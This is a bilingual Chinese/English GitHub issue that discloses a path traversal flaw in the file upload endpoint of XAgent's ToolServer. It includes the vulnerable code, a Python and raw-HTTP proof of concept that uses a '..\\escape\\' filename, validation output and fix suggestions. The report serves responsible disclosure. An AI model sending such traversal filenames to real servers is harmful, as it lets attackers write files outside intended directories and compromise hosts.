Skip to content

ToolServer 文件上传路径遍历漏洞 (Critical) #427

@Ro1ME

Description

@Ro1ME

Issue Description / 问题描述

严重安全漏洞 / CRITICAL SECURITY VULNERABILITY: XAgent的ToolServer组件中的 upload_file 函数存在路径遍历漏洞,允许攻击者通过构造恶意文件名将文件写入到服务器的任意位置,突破预期的工作目录限制。

漏洞类型 / Vulnerability Type: CWE-22 路径遍历 / Path Traversal
CVSS评分 / CVSS Score: 8.1 (High)
受影响文件 / Affected File: ToolServer/ToolServerNode/main.py:60
受影响函数 / Affected Function: upload_file
受影响端点 / Affected Endpoint: POST /upload_file

漏洞根因 / Root Cause

该函数直接使用用户提供的文件名构造文件路径,未进行路径规范化或边界检查:

# Line 60 - 漏洞代码 / VULNERABLE CODE
@app.post("/upload_file")
async def upload_file(file: UploadFile = File(...)):
    file_path = os.path.join(workspace_dir, file.filename)  # 未进行路径验证!
    
    with open(file_path, "wb") as f:
        content = await file.read()
        f.write(content)
    
    return {"message": "Upload Success!"}

缺失的安全控制 / Missing Security Controls:

  • ❌ 无路径规范化或解析 / No path normalization or resolution
  • ❌ 无边界验证 / No containment validation
  • ❌ 未检查 .. 序列 / No check for .. sequences
  • ❌ 未拒绝路径遍历尝试 / No rejection of path traversal attempts

Steps to Reproduce / 复现步骤

前置条件 / Prerequisites

  1. 安装并启动XAgent ToolServer / Install and start XAgent ToolServer:

    cd XAgent/ToolServer/ToolServerNode
    pip install -r requirements.txt
    python main.py
  2. 服务应运行在 http://localhost:8080 / Service should be running on http://localhost:8080

  3. 验证服务健康状态 / Verify service health:

    curl http://localhost:8080/
    # 响应 / Response: {"message": "Hello World"}

复现步骤 / Reproduction Steps

  1. 准备包含路径遍历的文件上传请求 / Prepare file upload request with path traversal:

    import requests
    
    base_url = "http://localhost:8080"
    
    # 创建测试文件内容 / Create test file content
    test_content = b"XAGENT_LIVE_HTTP_POC\n"
  2. 发送包含恶意文件名的请求 / Send request with malicious filename:

    # Windows风格路径遍历 / Windows-style path traversal
    files = {
        'file': ('..\\escape\\xagent-live-http-poc.txt', test_content)
    }
    
    response = requests.post(
        f"{base_url}/upload_file",
        files=files
    )
    
    print(f"状态码 / Status: {response.status_code}")  # 200 OK
    print(f"响应 / Response: {response.json()}")
    # 输出 / Output: {"message": "Upload Success!"}
  3. 验证文件被写入到工作目录外 / Verify file was written outside workspace:

    # 预期位置 / Expected location: workspace/..\\escape\\xagent-live-http-poc.txt
    # 实际位置 / Actual location: escape/xagent-live-http-poc.txt (逃逸了workspace目录)
    
    ls -la escape/xagent-live-http-poc.txt
    cat escape/xagent-live-http-poc.txt
    # 内容 / Content: XAGENT_LIVE_HTTP_POC
  4. 漏洞触发成功 / Vulnerability triggered successfully:

    • HTTP 200 OK ✓
    • 服务器返回 "Upload Success!" ✓
    • 文件成功逃逸工作目录 ✓

Expected Behavior / 预期行为

API应该 / The API should:

  1. 验证和清理 / Validate and sanitize 文件名参数 / the filename parameter
  2. 解析路径 / Resolve paths 使用 .resolve() 进行规范化 / using .resolve() to normalize them
  3. 检查边界 / Check containment 确保解析后的路径在工作目录内 / to ensure the resolved path is within the workspace
  4. 拒绝路径遍历 / Reject path traversal 序列如 .. / sequences like ..
  5. 返回400/403 / Return 400/403 对于无效路径尝试 / for invalid path attempts

Environment / 环境信息

  • Operating System / 操作系统:Windows 11
  • Python Version / Python 版本:3.10+
  • Other Relevant Information / 其他相关信息:
    • XAgent Version : Latest (as of 2026-04-19)
    • ToolServer Port : 8080

验证环境 / Validation Environment:

  • OS / 操作系统: Windows 11
  • Python / Python版本: 3.10
  • Service Port / 服务端口: 8080

Error Screenshots or Logs / 错误截图或日志

HTTP请求 / HTTP Request

POST /upload_file HTTP/1.1
Host: localhost:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="..\\escape\\xagent-live-http-poc.txt"
Content-Type: text/plain

XAGENT_LIVE_HTTP_POC

------WebKitFormBoundary--

HTTP响应 / HTTP Response

{
  "message": "Upload Success!"
}

验证结果 / Validation Results

{
  "work_directory": "D:\\...\\workspace",
  "attacker_filename": "..\\escape\\xagent-live-http-poc.txt",
  "escaped_target": "D:\\...\\escape\\xagent-live-http-poc.txt",
  "escaped_exists": true,
  "inside_workspace": false,
  "http_status": 200,
  "http_response": {
    "message": "Upload Success!"
  },
  "escaped_content": "XAGENT_LIVE_HTTP_POC\n"
}

服务器日志 / Server Logs

INFO:     127.0.0.1:51433 - "POST /upload_file HTTP/1.1" 200 OK
INFO:     File uploaded: ..\\escape\\xagent-live-http-poc.txt
WARNING:  File written outside workspace directory!

Additional Notes / 其他备注

If you have any additional information or notes, please add them here. / 如果有其他补充信息,请在此处添加。

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions